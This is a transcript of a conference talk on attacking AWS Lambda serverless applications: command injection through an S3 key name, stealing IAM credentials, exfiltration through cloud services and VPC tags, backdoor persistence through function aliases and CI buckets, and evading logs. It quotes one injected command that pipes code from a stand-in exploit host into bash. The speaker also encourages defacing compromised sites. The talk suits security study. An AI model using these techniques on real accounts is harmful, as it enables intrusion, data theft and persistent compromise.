*preroll music*
Herald: Like in the following talk I'm happy to introduce Rich Jones. Rich is
gonna talk about what he can do in 60 milliseconds with server-less servers.
And please give a warm round of applause for Rich!
*applause*
Rich: Hi everybody! Thank you very much for having me, for CCC for hosting, for
you guys for coming out! I appreciate it. My name is Rich Jones. I'm the founder and
CTO of gun.io. We find awesome freelance gigs for free and open source hackers. I'm
also the author of ZAPPA. Which is the best damn server-less framework in the world.
It can run any python web application on AWS lambda. You can build event driven
applications you can connect roughly 500.000 connections per second globally.
Without any operations support right out of the box for your existing apps.
I first announced it about 6 months ago actually at Hack & Tell event at
C-Base and now it is like used in production by all sorts of big companies
which is pretty cool! You should try it out. Welcome to my talk, it is called Gone in
60 Milliseconds! aka having a sexy title gets your talk accepted at conferences.
aka Intrusion and Exfiltration in Server-less Architectures. Whoooh. What the
hell does that mean? Quick poll. Who here is familiar with AWS Lambda? Okay, so
about half, that's pretty good. That's what I was expecting. Okay, great. For the
unfamiliar, the good old days of servers. You would have the web server it would
connect to the database and that was pretty much it it would – you'd have the
server. You'd have one server, you'ld probably run lots of services off that
server so if you found a debug panel or something like that, you could use one of
your favorite tools, you could get a shell and basically run a mock I know is the
best. With the server-less architecture this one example it uses instead of a
permanent web-server it uses this service called AWS Lambda which provides no
permanent infrastructure Your entire application function is held in cache by
Amazon AWS and it's spawned and destroyed on a per-request basis. So in the space of
a single web request or whatever function request, it creates the container, returns
and destroys the container. The code execution is triggered by a variety of
cloud event sources every request is in an isolated container. I'm gonna put an
asterisk next to next to isolated as you see. The big advantage for the company is
that it's super scalable. So, because one request is one server it means that 10
requests is 10 servers and so on and so on and so on. So you can scale this all the
way up to like trillions of events per year which is pretty cool. It's also much
less expensive because you pay by the millisecond .000002 dollars per
millisecond which interestingly is now the same in euros keep an eye on that,
I was surprised by. Security patches to the operating system are automatic because
Amazon handles them so there is basically you don't worry about the operating system
at all you only worry about your single function which saves time, saves money,
and lets you fire all people who work in OPS. Some common patterns that you see for
companies and, you know, services are using lambda. One is just the web server
this is like if you already use zappa for a django CMS or something like this. It's
just API gateway, another AWS service to lambda, which is the one we saw before
Another common way that people are using this for asynchronous data processing.
So if you have a file upload, that will then execute the lambda function which will
store the result in a DynamoDB store and then have that trigger the upload to the
S3 return bucket. So this is kind of like a very simple microservice type framework
that you can use lambda for. Chat bots is another common use case So if you having a
SMS Message or an e-mail exchange with a robot, it could be through lambda or one
of those cool new like echo things. Maybe we will be able to like actually hack
through those in the future using some of these techniques. So you can kind of see
that there. And the big one that a lot of companies are using like fintech and
medical and science companies are using for is is kind of the driving engine for
the state machine in big data processing. This is kind of the interesting one that
we get into a little bit more later in the talk So the lambda kind of drives the
queue which is how the like big data processing like compute cluster is knowing
what to do. And there is loads more of these patterns but those are some of the
ones that I've seen pretty commonly. So when you try to attack these kind of
applications it probably won't work. And even if it does work, it will shut down
immediately because they live in these short lived isolated container which is
no fun. The container dies after the function returns. Oh no! What does that
mean for us? Us hackers. I mean it is harder to infiltrate because there is less
common code most of the stuff is custom so far. You can't use the same wordpress
vulnerability over and over again. The services are isolated, the functions are
isolated, there is no users to really escalate on the system. There's no
sysadmins to, you know, do your cool cron tricks or whatever, for gaining
escalation. It's also harder to persist our malware because it immediately dies as
soon as the container closes. It is also a read-only filesystem, so we can't hide our
files deep in the operating system And it's only a sub-second lifecycle for the
entire container anyway. There is no initialization system to infect because
that is all taken care of by amazon and we can't get at it. It is also harder to
exfiltrate, because there is a thing called the virtual private cloud AWS
provides. There's also function specific roles which means a very strict
permissioning system. A lot times we can't get a reverse shell because there is no network
access. So basically sad face. Oh no, we're totally boned!
No we're not, hell not, dog. When Bezos closes a door, he opens a window.
*laughter* *applause*
So we gonna learn some recon, some infiltration, some exploitation, some
exfiltration and a little bit of cleanup! Part 0: Recon aka How the hell do we know
what we're attacking? There's gonna be two attack surfaces. An outer and inner attack
surface for a lambda function. The outer attack surfaces are the API Gateway so if
you look at the headers and you see that it's serving dynamic content from
CloudFront, that might an indication that you're dealing with API Gateway.
File uploads is pretty easy if you look at whatever the upload endpoint is and you
look at headers that says it is S3 that probably means that it's S3. If you look at
the email headers that you you're communication to the function with you can
see that it is Amazon SES so that is pretty obvious. There is also the inner
attack surface. So these are services that we can't access directly, but provide
event sources for the function, so this can mean a whole bunch of stuff, so queues
if there are a lot of long running tasks and it's on AWS, it is possible that they
are using the SQS queing system. But it can also mean database events, streams of
information, user events, so logins and user creations and stuff like that can
also be an event source. And the log system itself can provide an event source.
Part 1 infiltration aka how the hell are we gonna weaponize all that? So lambda
functions essentially what the application is, is kind of like a blue ball machine here.
What we call Rube Goldberg machines. I just learned, for the translators, that
you guys call these nonsense machines. Essentially lots of little functions and a
lot of passing information between them. So to figure out what's going on, we're
going to use a process of destructive mechanics aka dropping a bolt into the
engine and then listening to the sound that it makes to try to figure out what is
going on inside. The TL;DR of that is we gonna attack the event sources themselves,
we're going to fire off every type of cloud event service that we can and
basically see what shakes out. The usual suspects for infection, unsanitized input,
deserialization bugs of all, you know all varieties, server side script injection,
malicious binary files, and if it is a web server, most of your favorite web
application type exploits. So just as a very trivial example of the kind of things
that you might see here, So here is some trivially vulnerable code it's connecting
to an S3 bucket, it's going over the items and it's calling some process on the keys
that are in the bucket. But what happens if we create an object called: "; curl -s
exploit.server.xyz | bash" well than that's gonna expand because it is just
using the key name to call, you know, our exploit code on the lambda function.
Hurray! we did it! Part 2 exploitation aka how can we escalate our infection? aka
what the hell is a lambda? aka what's worth stealing? So if we actually find,
you know, if we just look at the operating system of a lambda, now that we're able to
execute commands on it. Well that won't work as we don't have a shell, everything
on lambda had this event context pattern in it, whatever but if we do the find and
we look at it, it pretty much looks like standard redhat 6 installation it's got
python 2.7, interestingly it has python 3.4 on it, it's got node, it's got perl,
it's got gcc, it's got all you know, stuff that we like. Which is pretty good. If we
look at the system even further, we'll see that it's running an operating system
called Amazon Linux, which is the default for EC2, so maybe it's an EC2 server.
If it's an EC2 server, can we access the metainfo server? That's a good idea! For
For those who don't know about the meta- data server, from Amazon docs: Instance
metadata is data about your instance that you can use to configure or manage the
running instance, anyone who can access the instance can view its metadata.
Therefore, you should take suitable precautions to protect sensitive data aka
don't get hacked, because people can look at this stuff. We can figure out all this
information including keys and users and security groups so, you know, really good,
good intel. What happens if we try to access the server? It doesn't work, so,
sorry. But that's a good trick to remember if you are attacking EC2, that you can get
a lot of information out of the metainfo server. Now you're thinking, well let's take a
look at the environment, let's look around what's in the environment variables.
Quite a lot actually including some inter- esting stuff like session tokens, security
tokens, access key IDs and secret access keys. So that's pretty cool. What are
those? Enter IAM, so this is Amazons identity and access management system
which provides per resource authentication and authorisation definition. So basically
1 task is gonna have 1, you know, set of authorisation to perform its functions.
It sounds bad, it is. Like it makes our job a lot harder. The good news is that
it's super easy to fuck up! Pretty much everybody who's using IAM has probably
fucked up. Especially if you read the documentations which Amazon provides which
is terrible, or even badder if they got their information from the AWS forum where
you can find like real gems of wisdom about give everybody access to everything,
which is nice. So full disclosure, everything all the fun stuff that we're
gonna do, does depend on them having some misconfigured IAM even subtly
misconfigured IAM which isn't as cool, I have to admit but it's pretty common, so I
don't think it's unreasonable to have that, be part of our attack criteria.
So what the keys that we saw, were part of the lambda execution policy which uses
this permission called iam:PassRole basically you take a predefined policy for
what a function is allowed to do. It creates a temporary user with those
permissions and gives the credentials for that user into the userspace in those
environment variables that we saw. So this is one of the ones that Amazon recommends,
this is the AWS VPCAccessExecutionRole this is from Amazons documentation and
this actually provides some interesting things that we're gonna be able to use.
Resource:* is a great one because that means we have access to everything
available to the account We will need to create log groups and streams, which is
kind of interesting. Describing the network interface is also super
interesting for us. And this will come in handy later. Okay, so we can describe the
network What about actually like infecting the application source? Like we wanna add
a backdoor. But first, where does the code live? So we check the environment
variables again we see this key value for LAMBDA_TASK_ROOT which is good so we will
just cat our backdoor into the application No that is not gonna work. Sad face,
because it's a read-only filesystem. And even if you could, write to that, you
know, write to the filesystem, it's not gonna persist for other users who, to call
the function because it's not cached in memory so it would only live for the span
of a single HTTP request which we don't care about. But, I got all of these cool,
like hacker tools I wanna install on the system how do I do that? Fortunately there
is /tmp space on the disk because some, you know, normal applications are gonna
need to read and write files and stuff so /tmp is totally readable and it works as
we'd expected to. Amazon describes this as ephemeral disk capacity. But ephemeral
isn't quite true actually, because this is how lambda executions are not completely
isolated. For performance reasons they're actually cached in Amazons memory across
different executions. So because /tmp is a ram disk, and because ram is cached that
means that /tmp is cached as well, so if we can store our tools across multiple
executions. Yay! But the caveat for that is that we have to keep the function warm in
memory by calling it every so often That length of time is 4 minutes, 30 seconds
Somebody violated an NDA to tell you that, don't ask me
*laughing*
*applause*
What's cool is this actually can also apply to long running processes aswell.
It won't keep the function open, but it will, kind of, pause the process and then
reopen it on the next execution. So now we can install, if we have linux x86_64
compiled versions of all our favorite tools we could put them on to the lambda
function and start calling it. Okay, so now we got some keys, we got some tools,
what can we do? So the first thing that we probably wanna do, is just see what we're
allowed to do. Using the AWS CLI tool we can call this code and we will get back a
policy, and if we're lucky, it 'll be ** and then we can do whatever we want.
Jackpot! We can create a new admin user and pillage all the databases basically,
it's game over! Yeah right! Maybe it'll happen probably yeah right. A very brief
interlude. If you do get the jackpot, if you are looking at Facebook's AWS usage and
you get **** *. Don't sell the user info to spammers. Don't claim a bug bounty. Don't
just like use their creditcard to mine bitcoin. Don't tell, you know, your
favorite TLA. Don't even send all the information to Julian, he's busy. Bug
bounties are boring. Espionage is boring. I'm tired of all this like spy vs spy stuff.
Use your skills of infection for awesome. Put up a bad-ass hacking crew name, you know.
*laughing*
Put spooky skulls, put a bunch of spooky skulls on facebook.
Put your IRC homies, know what's up *applause*
I'm pretty serious about this, actually. Like I think the word losing some like
aesthetic quality to our culture in pursuit of like money and like you know,
careers and stuff like that. But I think the aesthetic value actually has like more
worth and that over time is like, the broader community begins to respect like
our aesthetic contributions, like the those hacks will actually be worth more in
the long run than any bug bounty that you 'll get now. So like keep it real, anyway,
that was my side.
*applause*
So far more likely than *.*, you gonna get some kind of like strict permission, like
the ability to access S3 objects, or the the ability to access the database, or
some combination thereof using various, different cloud services available. How
can we use that for nefarious purposes you wondering. That's a great question. Part 3:
Exfiltration aka take the money and run aka the fun part. TL;DR when you don't have
a direct network connection, to the things that you wanna access, because you using a
cloud provider, you can use tags, meta information, and the cloud services
themselves to shuttle information out of the cloud. So easy mode for instance, if we
see that we have SES permissions, send, use the email, send, you know, we have a
single function that will let us send an email out because it's a cloud provider
that has an e-mail service. Or send a SMS, you know, you could actually, you can hack
something and get the results back to your virtual cellphone. Slightly harder, if you
just have S3 objects, you could, you know, zip up the source of the application, put
it on S3 and get it out that way. The fun thing is VPC exfiltration. So this is the
architecture that we were talking about before It's a simple vibration but this is
this is a pretty common architecture for big data using lambda. What is a VPC?
Great question! Amazon VPC provides advanced security features such as
security groups and network access control lists to enable inbound and outbound
filtering at the instance level and subnet level. Sounds bad. It is. The good news.
Super easy to fuck up! Especially if you read Amazons old docs and the AWS forum.
So lambda has access to these VPC resources. aka Lambda is our VPC hole puncher.
If you're, you know, depending on how they've implemented it, this may actually
mean that Amazon can access your internal corporate network, which is pretty cool.
But we don't actually even need to use the network to do that, so I'm not gonna show
you how to do that one, you figure that out on your own, to exfil from a VPC
without touching the VPC network. So this is our architecture. Step 1, upload the
malicious file, like I've indicated here with a cool cyber skull. This will give us
code execution in the Lambda environment. We gonna put out a bunch of canaries. So
we're gonna try calling SMS, e-mail, DNS, S3, queues, everything that is available
to us, just try to put some information out that we can read back. In this case we
see that we can type our results into the bucket, so we can get information that way.
So we have bidirectional communication to an owned lambda service.
When we use the keys that we've exfiltrated that way, we look at the policy,
we see that we have the lambda VPC access execution role from earlier, with
resource * which is nice and our DescribeNetworkInterfaces create network
interfaces permessions that we saw earlier, that Amazon recommends as well as
simple S3 and SQS access just for the necessary functions that we want for the
application. Our target in this case is the database which is still inside the VPC, so
we no access to, direct access to the database from our lambda execution
environment because it's all wrapped up in this VPC. But what we can do is, we can
add things to the SQS queue. And if they're using Celery, actually uses pickle, is a
way to shuttle information about – for the javascript developers, it's a bit like
using eval to figure out javascript. So if we're able to add something, to, or, this
is kind of manoeuvrer, like this is use whatever technique that,
you know, you prefer from there to get your code on to the cluster
but we're gonna use this pickle celery bug to create an item on the queue,
a malicious item on the queue, that will then be picked up and run on the compute
cluster. So now we have code execution on the cluster, but we have no way to
actually directly communicating to it, because we're locked out of the VPC. What
do we do now? So the interesting this is actually use meta information about the
VPC to exfil the information that we want, so because we have the ability to describe
network interfaces, inside the VPC, we call, we add tags, to this, to the EC2
instances and the network interfaces to which they communicate. A lot of times
they have this permission because tagging is useful for the admins who wanna see
what groups are owning what So we can add the meta information about that to the
network interface itself because the lambda has the ability to read these tags
back out, we can then get the information that we want, we can put it through the S3
and we can extract the information this way. So nice! This also works for the
application binaries because we can encode something in Base64 and then put that in
the tag set, and get that out that way Which is nice! Similarly is the compute
cluster able to modify DNS entries that we can read, or is it able to create a named
log groups, is it able to create queues, is it able to create buckets, etc, etc be
creative with the AWS services the're available, there is lots! And a single
overlapping permission can be enough In fact, even a single overlapping service
can be enough for information exfiltration for instance you can encode information in
the length of the queue and then read that back out you could use the same thing with
the number of number of network interfaces that are available besides of the
database, anything like that. So that's pretty cool! What if they fix the bug?
Persistence, aka how can we permanently infect a system with no permanent
infrastructure? aka abusing cloud vendor features, continued. One neat lambda
feature that is available is the idea of function aliasing so Amazon will
automatically give you like labels for the available functions, and store all of the
old functions with aliases for you, which is useful for, you know, application
maintainers because they can provide rollbacks and something goes wrong, they
can tag their dev and prod and staging environments and stuff like that as an
audit trail. But we can also use it to persist our malware. So we can get the
function, get the source code for any function that's available this way, we can
upload a backdoored version of that and then alias it to one of those previous
functions and hide it there if we need to access it without having it, be uploaded
every time. An alternate route, which is especially useful if the application is
being deployed by travis, or some CI system, anything that uses CloudFormation.
CloudFormation requires the code to be hosted on S3 permanently, for doing it's
update function. So if we just infect the code that's on S3, the next time that the
CI updates the application stack, it'll use our infected code, which is useful.
This is cool because if we have access to the code buckets, than we can actually use
a single infected lambda to infect all the other lambda functions that are available
in the stack. One better is to actually treat the entire model serverlessly.
So imagine if we have a simple application using the Foo lambda that's triggered when
there is a SQS event. Which is actually gonna be one function and then all the old
functions aliased all the way back to function 1. So if we can infect this one
with some bug that we're exploiting, and we're able to create a backdoored function
we can use the same code, create the new function, but it's backdoored, and then
alias that back to the first function that'll now contain our backdoored code,
we can create an event trigger, so that whenever new code is updated, is submitted
to the S3 bucket where the functions are registered, that will actually trigger the
execution of our malware, which will get the code of the new function infected with
our backdoor, recreate the function, delete the new one, and then we have, you
know, our backdoored version of the latest code that is permanently available for
every request, new code uploads are the trigger for reinfection of our malware.
Part 5 cleaning up I'll go fast here, is boring. Full disclosure, I'm not very
tidy, so be careful with all this stuff if you need to be real stealthy. All lambda
executions have unique execution IDs, if you just write them down, you can delete
them later. But the errors there still gonna trigger the CloudWatch alarms, so
can you hop off the log group, that's also available in the environment variables?
No you can't, but you can change the retention policy, so, maybe we can just
have it's own, and hopefully they don't look at logs. That's not very good, a
better technique is actually to don't log anything to begin with. So because these
functions have extremely limited memory size, cause they only build to do one
thing, if we exhaust the memory of the function, there's not enough memory to
actually do the logging properly, so if we wrap all of our canary code inside of
exception handlers, that'll then just allocate all the memory that's available,
then it doesn't count as an invocation error and it won't actually register ...
*applause*
Shout out to Dee, he told me that trick, my friend. One copy out of this, one
pattern is to... time did go super fast... if they are logging everything, the flip
side of that is that they're logging everything so that you can go and get
everybodys password and stuff, so that's fun. Part 6 synthesis happy Christmas,
everybody, ho ho ho, I'm Santa Claus and I'm giving you a present I'm giving you an
AWS Lambda Infection Toolkit! Call mackenzie you can figure out why on your own.
It can do a lot of the tricks that we talked about today. Exfil, infiltration,
creating reinfection handlers, all the stuff, maybe your feature, put it on
github this afternoon, check it out! In conclusion, server-less architectures present
new obstacles, but we can defeat those obstacles by abusing cloud features
themselves. Do you need secure serverless apps, you should hire me.
*laughing*
Do you want to contribute code, you should check out my github. You should also check
out the slack channel. Shout out to everybody in the zappa slack, is a ton of
super smart AWS people doing interesting things in there, thank you!
*applause*
Herald: Allright, perfect.
*applause*
Herald: Thanks a lot Rich. Unfortunately we don't have any time left for Q&A, but, are you
gonna be around for questions, perfect. So if you are in the room, you can just
come, ask Rich questions, if you are remote, you've seen the contact possibilities.
*closing music*